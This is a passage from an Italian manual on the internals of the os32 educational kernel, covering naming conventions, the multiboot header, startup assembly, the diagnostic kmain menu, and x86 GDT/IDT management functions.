Nel codice del kernel si utilizzano spesso delle informazioni organizzate in memoria in forma di tabella. Si tratta precisamente di array, le cui celle sono costituite generalmente da variabili strutturate. Queste tabelle, ovvero gli array che le rappresentano, sono dichiarate come variabili pubbliche; tuttavia, per facilitare l'accesso ai rispettivi elementi e per uniformità di comportamento, viene abbinata loro una funzione, con un nome terminante per '..._**reference()**', con cui si ottiene il puntatore a un certo elemento della tabella, fornendo gli argomenti appropriati. Per esempio, la tabella degli inode in corso di utilizzazione viene dichiarata così nel file 'kernel/fs/inode_table.c':

```
inode_t inode_table[INODE_MAX_SLOTS];
```

Successivamente, la funzione ***inode_reference()*** offre il puntatore a un certo inode:

```
inode_t *inode_reference (dev_t device, ino_t ino);
```

109.1.5 Guida di stile

Per cercare di dare un po' di uniformità al codice del kernel e a quello della libreria, dove possibile, i nomi delle variabili seguono una certa logica, riassunta dalla tabella successiva.

Tipo	Nome	Utilizzo
inode_t *	inode inode_...	Puntatore a un inode (puntatore a un elemento della tabella di inode).
ino_t	ino ino_...	Numero di inode, nell'ambito di un certo super blocco (ammesso che sia abbinato effettivamente a un dispositivo).
int	fdn fdn_...	Numero del descrittore di un file (indice all'interno della tabella dei descrittori).
fd_t *	fd fd_...	Puntatore a un descrittore di file (puntatore a un elemento della tabella di descrittori).
int	fno fno_...	Numero del file di sistema (indice all'interno della tabella dei file di sistema).
zno_t	zone zone_...	Numero assoluto di una «zona» del file system Minix.
zno_t	fzone fzone_...	Numero relativo di una «zona» del file system Minix. In questo caso, il numero della zona è relativo al file, dove la prima zona del file ha il numero zero.

Tipo	Nome	Utilizzo

`off_t`	`offset`
	`offset_...`
	`off_...`
		Scostamento, secondo il significato del tipo derivato '**`off_t`**'.

`size_t` `ssize_t`	`size` `size_...`	Dimensione, secondo il significato dei tipi derivati '**`size_t`**' o '**`ssize_t`**'.
`size_t` `ssize_t`	`count` `count_...`	Quantità, quando il tipo '**`size_t`**' è appropriato.
`blkcnt_t`	`blkcnt` `blkcnt_...`	Quantità espressa in blocchi del file system (in questo caso, trattandosi di un file system Minix 1, si intendono zone).
`blksize_t`	`blksize` `blksize_...`	Dimensione del blocco del file system, espressa in byte (in questo caso, trattandosi di un file system Minix 1, si intende la dimensione della zona).
`int`	`fno` `fno_...`	Numero di file system.
`int`	`oflags` `oflags_...`	Opzioni relative all'apertura di un file, annotate nella tabella dei file di sistema: indicatori di sistema.
`int`	`status` `status_...`	Valore intero restituito da una funzione, quando la risposta contiene solo l'indicazione di un successo o di un insuccesso.
`void *`	`pstatus`	Puntatore restituito da una funzione, quando interessa sapere solo se si tratta di un esito valido.
`char *`	`path` `path_...`	Percorso del file system.
`dev_t`	`device` `device_...`	Numero di dispositivo, contenente sia il numero primario, sia quello secondario (*major*, *minor*).
`int`	`n` `n_...`	Dimensione di qualcosa, di tipo '**`int`**'.
`char *`	`string` `string_...`	Area di memoria da considerare come stringa.

Tipo	Nome	Utilizzo
`void *`	`buffer` `buffer_...`	Area di memoria destinata ad accogliere un'informazione di tipo imprecisato.
`int`	`n` `n_...`	Dimensione o quantità di qualcosa, espressa attraverso il tipo '**`int`**'.
`int`	`c` `c_...`	Un carattere senza segno trasformato nel tipo '**`int`**'.
`struct stat`	`st` `st_...`	Variabile strutturata usata per rappresentare lo stato di un file, secondo il tipo '**`struct stat`**'.
`FILE *`	`fp` `fp_...`	Puntatore che rappresenta un flusso di file.
`DIR *`	`dp` `dp_...`	Puntatore che rappresenta un flusso relativo a una directory.
`struct dirent`	`dir` `dir_...`	Variabile strutturata contenente le informazioni su una voce di una directory.
`struct password`	`pws` `pws_...`	Variabile strutturata contenente le informazioni di una voce del file '`/etc/passwd`'.
`struct tm`	`tms` `tms_...`	Variabile strutturata contenente le componenti di un orario.
`struct tm *`	`timeptr` `timeptr_...`	Puntatore a una variabile strutturata contenente le componenti di un orario.

109.1.6 Tipi derivati speciali

Nel codice del kernel si usano dei tipi derivati speciali, riassunti nella tabella successiva.

File di intestazione	Tipo speciale	Descrizione
'`kernel/fs.h`'	`zno_t`	Variabile scalare, per rappresentare un numero di una zona, secondo la terminologia del file system Minix.
'`kernel/fs.h`'	`sb_t`	Variabile strutturata, adatta a contenere tutte le informazioni di un super blocco, relativo a un dispositivo di memorizzazione innestato.
'`kernel/fs.h`'	`inode_t`	Variabile strutturata, adatta a contenere tutte le informazioni di un inode aperto nel sistema.

File di intestazione	Tipo speciale	Descrizione
'kernel/fs.h'	file_t	Variabile strutturata, adatta a contenere i dati di un file di sistema.
'kernel/fs.h'	fd_t	Variabile strutturata, adatta a contenere i dati di un descrittore di file, ovvero del file di un certo processo elaborativo.
'kernel/fs.h'	directory_t	Variabile strutturata, adatta a contenere una voce di una directory.
'kernel/ ibm_i386.h'	gdt_t	Variabile strutturata, adatta a contenere le informazioni di una voce della tabella GDT.
'kernel/ ibm_i386.h'	idt_t	Variabile strutturata, adatta a contenere le informazioni di una voce della tabella IDT.
'kernel/ ibm_i386.h'	idtr_t	Variabile strutturata, adatta a rappresentare il registro IDTR.
'kernel/memory.h'	addr_t	Variabile scalare, in grado di rappresentare un indirizzo efficace di memoria (un indirizzo che vada da 00000000_{16} a $FFFFFFFF_{16}$).
'kernel/ multiboot.h'	multiboot_t	Variabile strutturata che riproduce la scomposizione delle informazioni ricevute dal kernel dal sistema di avvio multiboot.
'kernel/proc.h'	proc_t	Variabile strutturata per rappresentare un elemento della tabella dei processi.
'kernel/proc.h'	header_t	Variabile strutturata che riproduce la suddivisione delle informazioni contenute nella parte iniziale degli eseguibili di os32.
'kernel/driver/ ata.h'	ata_t	Variabile strutturata per rappresentare un elemento della tabella delle unità ATA.
'kernel/driver/ ata.h'	ata_sector_t	Variabile strutturata per rappresentare un settore di dati relativo alla gestione ATA.
'kernel/driver/ kbd.h'	kbd_t	Variabile strutturata per rappresentare complessivamente lo stato della tastiera, incorporando anche la modalità di interpretazione corretta della mappa attuale.
'kernel/driver/ screen.h'	screen_t	Variabile strutturata per rappresentare il contenuto di uno schermo e la collocazione del cursore; tale variabile strutturata compone un elemento della tabella degli schermi gestiti simultaneamente.
'kernel/driver/ tty.h'	tty_t	Variabile strutturata, adatta a contenere le informazioni e lo stato di un terminale, che costituisce in pratica un elemento della tabella dei terminali.
'kernel/blk.h'	blk_cache_t	Variabile strutturata, adatta a contenere un blocco di memoria (per i dispositivi a blocchi) e le informazioni che lo riguardano, come elemento della tabella che costituisce la memoria tampone per l'accesso alle unità di memorizzazione.

109.2 Caricamento ed esecuzione del kernel

Il kernel di os32 è compilato in formato ELF, secondo le specifiche multiboot, in modo da poter essere avviato da un sistema come GRUB 1 o SYSLINUX. Il codice del kernel inizia nel file '`crt0.s`', dove a un certo punto viene eseguita la funzione ***kmain()***, nella quale si sintetizza il funzionamento del kernel stesso. Il sistema di avvio colloca il kernel a partire dall'indirizzo 100000_{16} (1 Mibyte), già in modalità protetta, di conseguenza il codice è organizzato per iniziare da tale posizione.

109.2.1 Multiboot

os32 è conforme alle specifiche multiboot per consentirne l'avvio attraverso GRUB 1 o SYSLINUX, senza doversi prendere carico dei problemi relativi al passaggio alla modalità protetta. Perché il file del kernel sia riconosciuto come aderente a tali specifiche, contiene un'impronta di riconoscimento, definita *multiboot header*, collocata nella parte iniziale, come dichiarato nel file '`kernel/main/crt.s`', entro i primi 8 Kibyte.

Figura 109.9. La prima parte obbligatoria dell'intestazione multiboot.

magic	32 bit senza segno `1BADB002`
flags	32 bit senza segno
checksum	32 bit senza segno $-(magic + flags)$

Il primo campo da 32 bit, definito ***magic***, contiene l'impronta di riconoscimento vera e propria, costituita precisamente dal numero $1BADB002_{16}$. Il secondo campo da 32 bit, definito ***flags***, contiene degli indicatori con i quali si richiede un certo comportamento al sistema di avvio. Il terzo campo da 32 bit, definito ***checksum***, contiene un numero calcolato in modo tale che la somma tra i numeri contenuti nei tre campi da 32 bit porti a ottenere zero, senza considerare i riporti.

I nomi indicati sono quelli definiti dallo standard e, come si vede, il campo ***checksum*** si ottiene calcolando −(***magic*** + ***flags***), dove si deve intendere che i calcoli avvengono con valori interi senza segno e si ignorano i riporti.

Dal momento che il kernel da avviare è in formato ELF, le informazioni che il sistema di avvio necessita per piazzarlo correttamente in memoria e per passare il controllo allo stesso, sono già disponibili e non c'è la necessità di occuparsi di altri campi facoltativi che possono seguire i tre già descritti. Stante questa semplificazione, per quanto riguarda il campo ***flags***, os32 utilizza precisamente il valore 00000003_{16}, con il significato che si vede nella figura successiva.

Figura 109.10. Il campo ***flags*** e il suo utilizzo fondamentale.

bit 31	bit 30	bit 29	bit 28	bit 27	bit 26	bit 25	bit 24	bit 23	bit 22	bit 21	bit 20	bit 19	bit 18	bit 17	bit 16	bit 15	bit 14	bit 13	bit 12	bit 11	bit 10	bit 9	bit 8	bit 7	bit 6	bit 5	bit 4	bit 3	bit 2	bit 1	bit 0
0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	1

00000003_{16}

informazioni sulla memoria disponibile (bit 1)

allineamento dei moduli all'inizio di una pagina (4 Kibyte) (bit 0)

Il bit meno significativo del campo ***flags***, se impostato a uno, serve a richiedere il caricamento in memoria dei moduli eventuali (assieme al file-immagine principale) in modo che risultino allineati all'inizio di una «pagina» (ovvero all'inizio di un blocco da 4 Kibyte). os32 non prevede moduli, tuttavia richiede ugualmente questa opzione. Il secondo bit del campo ***flags*** serve a richiedere al sistema di avvio di passare le informazioni disponibili sulla memoria, le quali poi vengono rese disponibili a partire da un'area a cui punta inizialmente il registro ***EBX***.

Figura 109.11. Calcolo del campo ***checksum***.

```
                            complemento a due
magic     1BADB002+         FFFFFFFF-              1BADB005+
flags     00000003=         1BADB005=              E4524FFB=
          ---------         ---------              ---------
          1BADB005          E4524FFA+             1 00000000
                            00000001=
                            ---------         verifica della somma di controllo
                  checksum  E4524FFB
```

Quando il sistema di avvio passa il controllo al kernel, dopo averlo caricato in memoria: il microprocessore è in modalità protetta; il registro ***EAX*** contiene il numero $2BADB002_{16}$; il registro ***EBX*** contiene l'indirizzo fisico, a 32 bit, di una sequenza di campi contenenti informazioni passate dal sistema di avvio (*multiboot information structure*), come si vede nella figura successiva.

Figura 109.12. Inizio della struttura di informazioni offerta da un sistema di avvio aderente alle specifiche *multiboot*.

Offset	Campo	
EBX + 0	`flags`	
EBX + 4	`mem_lower`	*dipende dal bit zero del campo «flags»*
EBX + 8	`mem_upper`	*dipende dal bit zero del campo «flags»*
EBX + 8	`boot_device`	*dipende dal bit 1 di «flags»*
EBX + 12	`cmdline`	*dipende dal bit 2 di «flags»*

⋮

omissis

Tabella 109.13. Descrizione dei primi campi della struttura informativa fornita dal sistema di avvio *multiboot*.

Nome mnemonico del campo	bit del campo '**flags**' da cui dipende	Descrizione
flags		Il primo campo definisce degli indicatori, con i quali si dichiara se una certa informazione, successiva, viene fornita ed è valida.
mem_lower mem_upper	0	Se è attivo il bit meno significativo del campo '**flags**', i campi '**mem_lower**' e '**mem_upper**' contengono la dimensione della memoria bassa (da zero a un massimo di 640 Kibyte) e della memoria alta (quella che si trova a partire da un mebibyte). La dimensione è da intendersi in kibibyte (simbolo Kibyte) e, per quanto riguarda la memoria alta, viene indicata solo la dimensione continua fino al primo «buco».
boot_device	1	Se è attivo il secondo bit, partendo dal lato meno significativo, il campo '**boot_device**' dà informazioni sull'unità di avvio. L'informazione è divisa in quattro byte, come descritto nelle specifiche *multiboot*.
cmdline	2	Se è attivo il terzo bit, partendo dal lato meno significativo, il campo '**cmdline**' contiene l'indirizzo iniziale di una stringa che riproduce la riga di comando passata al kernel.

Come si può intuire leggendo la tabella che descrive i primi cinque campi, il significato dei bit del campo '**flags**' viene attribuito, mano a mano che l'aggiornamento delle specifiche prevede l'espansione della struttura informativa. Per esempio, un campo '**flags**' con il valore 100_2 sta a significare che esistono i campi fino a '**cmdline**' e il contenuto di quelli precedenti non è valido, ma i campi successivi, non esistono affatto. La comprensione di questo concetto dovrebbe rendere un po' più semplice la lettura delle specifiche.

109.2.2 File «kernel.ld», «kernel/main/crt0.s» e «kernel/main/stack.s»

Listati 119.1.4, 119.9.2 e 119.9.6.

Il codice del kernel inizia dal file '`crt.s`'; tuttavia, per la sua corretta interpretazione, va considerato prima il file di configurazione di GNU LD (il collegatore, ovvero il *linker*), costituito dal file '`kernel.ld`', sintetizzabile così:

```
ENTRY (kstartup)
SECTIONS {
    . = 0x00100000;
    ...
}
```

Si osserva subito che il punto di inizio del codice, descritto successivamente dal file '`crt.s`', deve corrispondere alla posizione dell'etichetta '**kstartup**' e che quel punto deve trovarsi all'indirizzo 100000_{16}, ovvero quello in cui il sistema di avvio lo colloca.

Nel file '`crt.s`', dopo il preambolo in cui si dichiarano i simboli esterni e quelli interni da rendere pubblici, si parte proprio con l'etichetta '**`kstartup`**', e da lì si salta a un'altra posizione ('**`start`**'), per lasciare spazio all'intestazione multiboot.

```
…
.section .text
kstartup:
    jmp start
.align 4
multiboot_header:
    .int 0x1BADB002                      # magic
    .int 0x00000003                      # flags
    .int -(0x1BADB002 + 0x00000003)      # checksum
start:
    …
```

L'immagine del kernel in memoria utilizza un solo segmento per codice e dati, suddividendosi nel modo consueto: codice, dati inizializzati, dati non inizializzati e pila. Per individuare le varie componenti, il file '`kernel.ld`' inserisce dei nomi a cui è possibile fare riferimento nel codice; inoltre, viene utilizzato il file '`stack.s`' per definire lo spazio usato per la pila dei dati.

Figura 109.16. Immagine del kernel in memoria, a partire dall'indirizzo 100000_{16}, evidenziando le etichette dichiarate nei file '`kernel.ld`', '`crt0.s`' e '`stack.s`'.

voci definite nel file kernel.ld

voci definite nel file crt0.s

_k_start _k_text_start

kstartup: 100000

jmp start 0000

1BADB002

00000003

E4524FFB

start: 100010

codice

_k_text_end _k_data_start

dati inizializzati

_k_data_end _k_bss_start

dati non inizializzati

_k_stack_top

pila

_k_bss_end k_end

_k_stack_bottom

voci definite nel file stack.s

A partire dall'indirizzo corrispondente all'etichetta '**`start`**', nel file '`crt0.s`' inizia il lavoro preliminare del kernel. Per prima cosa viene attivata la pila dei dati, collocando nel registro ***ESP*** l'indirizzo corrispondente alla fine della stessa, ovvero '**`_k_stack_bottom`**':

```
    movl $_k_stack_bottom, %esp
```

Quindi si azzera il registro EFLAGS, sfruttando per questo la pila appena attivata:

```
    pushl $0
    popf
```

Infine si chiama la funzione ***kmain()*** (del file '`kmain.c`'), fornendo come argomenti la firma di riconoscimento del sistema multiboot, contenuta nel registro EAX, e il puntatore alla struttura

contenente le informazioni fornite dal sistema multiboot, contenuto nel registro EBX:

```
    pushl %ebx  # multiboot_t *info;
    pushl %eax  # uint32_t     magic;
    call kmain  # void kmain (uint32_t magic, multiboot_t *info);
```

Se ci dovesse essere una conclusione della funzione ***kmain()***, si passerebbe al codice successivo, il quale si limita a mettere a riposo la CPU:

```
halt:
    hlt
    jmp halt
```

109.2.3 File «kernel/main.h» e «kernel/main/*»

Listato 119.9 e successivi.

Tutto il lavoro del kernel di os32 si sintetizza nella funzione ***kmain()***, contenuta nel file '`kernel/main/kmain.c`'. Per poter dare un significato a ciò che vi appare al suo interno, occorre conoscere tutto il resto del codice, ma inizialmente è utile avere un'idea di ciò che succede, se poi si vuole compilare ed eseguire il sistema operativo.

La funzione si chiama ***kmain()*** (e non ***main()***), perché non è conforme allo schema che dovrebbe avere la prima funzione di un programma per sistemi POSIX. Come già accennato a proposito del file '`crt0.s`', la funzione ***kmain()*** prevede come parametri un codice di riconoscimento e il puntatore a delle informazioni, forniti dal sistema di avvio.

```
…
void
kmain (uint32_t magic, multiboot_t *mboot_data)
{
  …
  tty_init ();
  if (magic == 0x2BADB002)
    {
      mboot_save (mboot_data);
      k_printf ("os32 build %s ram %i Kibyte\n",
                BUILD_DATE, (int) multiboot.mem_upper);
      mb_size (multiboot.mem_upper * 1024);
      kbd_load ();
      blk_cache_init ();
      fs_init ();
      proc_init ();
    }
  else
    {
      …
      k_exit ();
    }
  menu ();
```

```
  …
}
```

Dopo la dichiarazione delle variabili si inizializza la gestione del video della console (funzione ***tty_init()***), si verifica che il codice sia stato avviato da un sistema di avvio multiboot e se ne salvano le informazioni (funzione ***mboot_save()***), quindi si mostra un messaggio iniziale, si imposta la dimensione massima della memoria disponibile in base ai dati ottenuti dal sistema multiboot (funzione ***mb_size()***), si configura la tastiera (funzione ***kbd_load()***), si inizializza la gestione della memoria tampone (funzione ***blk_cache_init()***), del file system (funzione ***fs_init()***) e dei processi elaborativi (***proc_init()***). Fatto tutto questo appare un menù (funzione ***menu()***) e si passa a una fase successiva.

```
…
void
kmain (uint32_t magic, multiboot_t *mboot_data)
{
  …
  menu ();
  for (exit = 0; exit == 0;)
    {
      sys (SYS_0, NULL, 0);
      …
      if …
        …
      else if (strncmp (command, "h", MAX_CANON) == 0)
        {
          menu ();
        }
      else if (strncmp (command, "x", MAX_CANON) == 0)
        …
      else if (strncmp (command, "q", MAX_CANON) == 0)
        {
          k_printf ("System halted!\n");
          return;
        }
    }
}
```

A questo punto il kernel ha concluso le sue attività preliminari e, per motivi diagnostici, mostra un menù, quindi inizia un ciclo in cui ogni volta esegue una chiamata di sistema nulla e poi legge un comando dalla tastiera, costituito però da un solo carattere: se risulta selezionato un comando previsto, il kernel esegue quanto richiesto e poi riprende il ciclo. La chiamata di sistema nulla serve a far sì che lo schedulatore ceda il controllo a un altro processo, ammesso che questo esista, consentendo l'avvio di processi ancor prima di avere messo in funzione quel processo che deve svolgere il ruolo di '`init`'.

In generale le chiamate di sistema sono fatte per essere usate solo dalle applicazioni; tuttavia, in pochi casi speciali il kernel le deve utilizzare come se fosse proprio un'applicazione. Qui si rende necessario l'uso della chiamata nulla, perché quando è in funzione il codice del kernel non ci possono essere interruzioni esterne e quindi nessun altro processo verrebbe messo in condizione di funzionare.

Le funzioni principali disponibili in questa modalità diagnostica sono riassunte nella tabella successiva:

Comando	Risultato
`h`	Mostra il menù di funzioni disponibili.
`t`	Mostra i valori gestiti internamente dell'orologio del kernel.
`f`	Esegue una biforcazione del kernel, nella quale, il processo figlio si limita a mostrare ripetutamente il proprio numero di processo.
`g` `G`	Mostra le prime voci della tabella GDT, in binario.
`i` `I`	Mostra le prime voci della tabella IDT, in binario.
`m`	Mostra la mappa della memoria, elencando le aree continue utilizzate.
`p`	Mostra la situazione dei processi e altre informazioni.
`s`	Mostra delle informazioni sul super blocco.
`n`	Mostra l'elenco degli inode attivi.
`1`	Invia il segnale '**SIGKILL**' al processo numero uno.
`2`|`3`|`4`|`5`| `6`|`7`|`8`|`9`|`A`| `B`|`C`|`D`|`E`|`F`	Invia il segnale '**SIGTERM**' al processo con il numero corrispondente, da 2 a 15.
`a`|`b`|`c`	Avvia il programma '`/bin/aaa`', '`/bin/bbb`' o '`/bin/ccc`'.
`x`	Termina il ciclo e successivamente si passa all'avvio di '`/bin/init`'.
`q`	Ferma il sistema.

Premendo [*x*], il kernel avvia '`/bin/init`', quindi si mette in un altro ciclo, dove si limita a passare ogni volta il controllo allo schedulatore, attraverso la chiamata di sistema nulla.

```
      else if (strncmp (command, "x", MAX_CANON) == 0)
        {
          exec_argv[0] = "/bin/init";
          exec_argv[1] = NULL;
          pid = run ("/bin/init", exec_argv, NULL);
          while (1)
            {
              sys (SYS_0, NULL, 0);
            }
        }
```

Figura 109.25. Aspetto di os32 in funzione mentre visualizza la tabella dei processi avviati e la mappa della memoria.

```
c
abaabaaba
p
pp  p pg                              T * 0x1000 D * 0x1000 stack
id id rp  tty  uid euid suid usage s addr  size addr  size pointer  name
 0  0  0 0000    0    0    0 00.03 R 00000 028e 00000 0000 028eb2c os32 kernel
 0  1  0 0000    0    0    0 00.09 r 0051e 000e 0052c 002d 002cf88 /bin/ccc
 1  2  0 0000   10   10   10 00.00 s 002bc 000e 002ca 002d 002cf34 /bin/aaa
 1  3  0 0000   11   11   11 00.00 s 002f7 000e 00305 002d 002cf34 /bin/bbb
ab
m
Hex mem map, blocks of 1000: 0-28f 2bc-332 51e-559
aabaab_
```

Figura 109.26. Aspetto di os32 in funzione con il menù in evidenza, dopo aver dato il comando '**x**' per avviare '**init**'.

```
os32 build 20AAMMGGHHmm ram 130048 Kibyte
[ata_init] ATA drive 0 size 8064 Kib
[ata_drq] ERROR: drive 2 error
[dm_init] ATA drive=0 total sectors=16128
[dm_init] partition type=0c start sector=63 total sectors=2961
[dm_init] partition type=81 start sector=3024 total sectors=13104
.------------------------------------------------------------------.
| h    show this menu                                .--------------.|
| t    show internal timer values                    | all commands ||
| f    fork the kernel                               | followed by  ||
| m    memory map (HEX)                              | [Enter]      ||
| g|G  show GDT table first 21+21 items              `--------------'|
| i|I  show IDT table first 21+21 items                              |
| p    process status list                                           |
| s    super block list                                              |
| n    list of active inodes                                         |
| 1..9 kill process  1 to 9                                          |
| A..F kill process 10 to 15                                         |
| a..c run programs `/bin/aaa' to `/bin/ccc' in parallel             |
| x    exit interaction with kernel and start `/bin/init'            |
| q    quit kernel                                                   |
`------------------------------------------------------------------'
x
init
os32: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
This is terminal /dev/console0
Log in as "root" or "user" with password "ciao" :-)
login:
```

109.3 Funzioni interne legate all'hardware, nei file «kernel/ibm_i386.h» e «kernel/ibm_i386/...»

Listato 119.6 e successivi.

Il file '`kernel/ibm_i386.h`' e quelli contenuti nella directory '`kernel/ibm_i386/`', raccolgono il codice del kernel che è legato strettamente all'hardware, escludendo però la gestione dei dispositivi. Tra le altre spiccano particolarmente le funzioni per la gestione dei segmenti di memoria (la tabella GDT), delle interruzioni (la tabella IDT) e l'attivazione delle routine associate alle interruzioni (ISR).

Alcune delle funzioni scritte in linguaggio assemblatore hanno nomi che iniziano con un trattino basso, ma a fianco di queste sono disponibili delle macro-istruzioni, con nomi equivalenti senza il trattino basso iniziale, per garantire che gli argomenti della chiamata abbiano il tipo corretto, restituendo un valore intero «normale», quando qualcosa deve essere restituito.

109.3.1 Funzioni per l'input e l'output con le porte interne

Alcune funzioni e macro-istruzioni di questo gruppo sono destinate a facilitare l'input e l'output con le porte interne dell'architettura x86.

Tabella 109.27. Funzioni e macro-istruzioni per l'input e l'output con le porte interne x86.

Funzione o macro-istruzione	Descrizione
`uint32_t _in_8 (uint32_t` ***port***`);` `unsigned int in_8 (`***port***`);`	Legge un valore a 8 bit da una porta. Listati 119.6 e 119.6.3.
`uint32_t _in_16 (uint32_t` ***port***`);` `unsigned int in_16 (`***port***`);`	Legge un valore a 16 bit da una porta. Listati 119.6 e 119.6.2.
`void _out_8 (uint32_t` ***port***`, uint32_t` ***value***`);` `void out_8 (`***port***`,` ***value***`);`	Scrive un valore a 8 bit in una porta. Listati 119.6 e 119.6.6.
`void _out_16 (uint32_t` ***port***`, uint32_t` ***value***`);` `void out_16 (`***port***`,` ***value***`);`	Scrive un valore a 16 bit in una porta. Listati 119.6 e 119.6.5.

109.3.2 Funzioni accessorie alla gestione delle interruzioni hardware

Alcune funzioni di questo gruppo sono destinate a facilitare il controllo delle interruzioni hardware che raggiungono la CPU.

Tabella 109.28. Funzioni accessorie per il controllo delle interruzioni hardware.

Funzione o macro-istruzione	Descrizione
`void cli (void);`	Disabilita le interruzioni hardware attraverso l'azzeramento dell'indicatore relativo nel registro EFLAGS. Listati 119.6 e 119.6.7.
`void sti (void);`	Abilita le interruzioni hardware attraverso l'attivazione dell'indicatore relativo nel registro EFLAGS. Listati 119.6 e 119.6.27.
`void irq_on (unsigned int` ***irq***`);`	Abilita selettivamente l'interruzione hardware indicata per numero (da zero a 16). Listati 119.6 e 119.6.20.
`void irq_off (unsigned int` ***irq***`);`	Disabilita selettivamente l'interruzione hardware indicata per numero (da zero a 16). Listati 119.6 e 119.6.19.

109.3.3 Gestione della tabella GDT

Nel momento in cui il codice del kernel prende il controllo, il microprocessore si trova già a funzionare in modalità protetta, attraverso una tabella GDT già impostata per gestire la memoria in modo lineare, senza particolari accorgimenti. Quando il kernel inizializza la gestione dei processi (funzione ***proc_init()***) costruisce una nuova tabella GDT, nella quale, per ogni processo gestibile, predispone due elementi, per descrivere rispettivamente il segmento codice e il segmento dati di un processo. In pratica, la nuova tabella GDT è composta da una prima voce nulla, obbligatoria, da una coppia di voci che descrivono il segmento codice e dati del kernel, da altre coppie di voci, modificate poi durante il funzionamento, per descrivere i segmenti dei processi.

Tutti i processi vedono la memoria con un indirizzamento che corrisponde a quello reale; tuttavia, disponendo ognuno di una propria coppia di voci nella tabella GDT, è possibile controllarne l'uso in modo da impedire che possano raggiungere aree al di fuori della propria competenza.

La tabella GDT è rappresentata in C dall'array ***gdt_table[]*** dichiarato nel file '`kernel/ibm_i386/gdt_public.c`' (listato 119.6.11), composto da elementi di tipo '**`gdt_t`**' (listato 119.6).

```
typedef struct {
    uint32_t  limit_a               : 16,
              base_a                : 16;
    uint32_t  base_b                : 8,
              accessed              : 1,
              write_execute         : 1,
              expansion_conforming  : 1,
              code_or_data          : 1,
              code_data_or_system   : 1,
              dpl                   : 2,
              present               : 1,
              limit_b               : 4,
              available             : 1,
              reserved              : 1,
              big                   : 1,
              granularity           : 1,
              base_c                : 8;
} gdt_t;
```

+0 31 16 15 0

+4 31 24 23 22 21 20 19 16 15 14 13 12 11 10 9 8 7 0

granularità: 0=1 byte, 1=4Kibyte

0=16 bit, 1=32 bit

riservato: 0

disponibile per il sistema operativo

1=in corso di utilizzo
0=attualmente non utilizzato

0=sola lettura
1=anche scrittura (dati)
1=anche esecuzione (codice)

0=espansione normale (dati)
1=espansione in basso (dati)
0=conforme (codice)
1=non conforme (codice)

0=segmento dati (non eseguibile)
1=segmento codice (eseguibile)

1=codice o dati, 0=sistema

DPL: da 00 (anello zero) a 11 (anello tre)

1=segmento presente in memoria
0=segmento non presente in memoria

La tabella viene creata con una quantità di elementi pari al valore della macro-variabile ***GDT_ITEMS***. Sapendo che la prima voce è obbligatoriamente nulla, che se ne usano altre due per il kernel e che ogni processo utilizza due voci della tabella, si possono gestire al massimo (***GDT_ITEMS***−3)/2 processi.

La struttura di ogni elemento della tabella GDT è molto complessa, pertanto, per scriverci un

nuovo valore si usa la funzione ***gdt_segment()*** che si occupa di spezzettare e ricollocare i dati come richiesto dal microprocessore (listato 119.6.12)

Tabella 109.31. Funzioni per la gestione della tabella GDT.

Funzione	Descrizione

`void gdt_segment (int` ***segment***`,`
`uint32_t` ***base***`,`
`uint32_t` ***limit***`,`
`bool` ***present***`,`
`bool` ***code***`,`
`unsigned char` ***dpl***`);`
	Scrive una voce della tabella GDT, sezionando e ricomponendo i dati come richiesto dal microprocessore.
	Listato 119.6.12.

`void gdt (void);`	Predispone e attiva la tabella GDT; per questo si avvale in modo particolare delle funzioni ***gdt_segment()*** e di ***gdt_load()***. Listato 119.6.8.
`void gdt_load (void *`***gdtr***`);`	Fa sì che il microprocessore carichi la tabella GDT, a partire dal puntatore al registro GDTR; registro che contiene l'informazione della collocazione in memoria della tabella GDT e della sua estensione. Listato 119.6.9.

`void gdt_print (void *`***gdtr***`,`
`unsigned int` ***first***
`unsigned int` ***last***`);`
	Funzione diagnostica, usata per visualizzare il contenuto della tabella GDT in binario.
	Listato 119.6.10.

109.3.4 Gestione della tabella IDT

La tabella IDT serve al microprocessore per conoscere quali procedure avviare al verificarsi delle interruzioni. La funzione ***idt()*** si occupa di predisporre la tabella e di attivarla, ma prima di ciò si prende cura di posizionare le interruzioni hardware a partire dalla voce 32 (la 33-esima). Le procedure a cui fa riferimento la tabella IDT creata con la funzione ***idt()*** sono dichiarate nel file '`kernel/ibm_i386/isr.s`', descritto però nella sezione successiva.

La tabella IDT è rappresentata in C dall'array ***idt_table[]*** dichiarato nel file '`kernel/ibm_i386/idt_public.c`' (listato 119.6.18), composto da elementi di tipo '**`idt_t`**' (listato 119.6).

```
typedef struct {
    uint32_t  offset_a : 16,
              selector : 16;
    uint32_t  filler   : 8,
              type     : 4,
              system   : 1,
              dpl      : 2,
              present  : 1,
              offset_b : 16;
} idt_t;
```

+0 selettore 31 16 | indirizzo relativo a 15 0

+4 indirizzo relativo b 31 16 | 1 0 1 1 1 0 0 0 0 0 0 0 0 0 | 15 14 13 12 11 10 9 8 7 0

1=voce valida
0=voce da ignorare

DPL: da 00 (anello zero) a 11 (anello tre)

0=sistema

1110=32 bit interrupt gate
1111=32 bit trap gate

riservato

La tabella viene creata con 129 elementi, anche se più della metà non vengono usati; tuttavia, proprio l'ultimo, corrispondente all'interruzione 128_{10}, ovvero 80_{16}, serve per le chiamate di sistema.

La struttura di ogni elemento della tabella IDT è un po' complicata, pertanto, per scriverci un nuovo valore si usa la funzione ***idt_descriptor()*** che si occupa di spezzettare e ricollocare i dati come richiesto dal microprocessore (listato 119.6.14)

Tabella 109.34. Funzioni per la gestione della tabella IDT.

Funzione	Descrizione

`void idt_descriptor (int` ***desc***`,`
`void *`***isr***`,`
`uint16_t` ***selector***`,`
`bool` ***present***`,`
`char` ***type***`,`
`char` ***dpl***`);`
	Scrive una voce della tabella IDT, sezionando e ricomponendo i dati come richiesto dal microprocessore.
	Listato 119.6.14.

`void idt (void);`	Predispone e attiva la tabella IDT; per questo si avvale in modo particolare delle funzioni ***idt_descriptor()*** e di ***idt_load()***. Listato 119.6.13.
`void idt_load (void *`***idtr***`);`	Fa sì che il microprocessore carichi la tabella IDT, a partire dal puntatore al registro IDTR; registro che contiene l'informazione della collocazione in memoria della tabella IDT e della sua estensione. Listato 119.6.16.
`void idt_irq_remap (unsigned int` ***offset_1***`,` `unsigned int` ***offset_2***`);`	Modifica la mappatura delle interruzioni hardware (IRQ) spostando il primo gruppo a partire dal valore di ***offset_1*** e il secondo gruppo a partire da ***offset_2***. Listato 119.6.15.

`void idt_print (void *`***idtr***`,`
`unsigned int` ***first***
